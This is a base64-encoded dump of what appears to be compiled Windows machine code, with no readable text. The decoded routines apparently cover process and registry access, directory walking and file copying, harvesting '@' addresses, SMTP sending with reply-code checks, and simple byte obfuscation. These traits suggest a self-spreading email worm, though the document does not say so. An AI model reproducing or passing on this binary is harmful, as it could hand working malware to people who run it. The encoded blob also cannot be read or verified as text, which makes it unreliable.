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 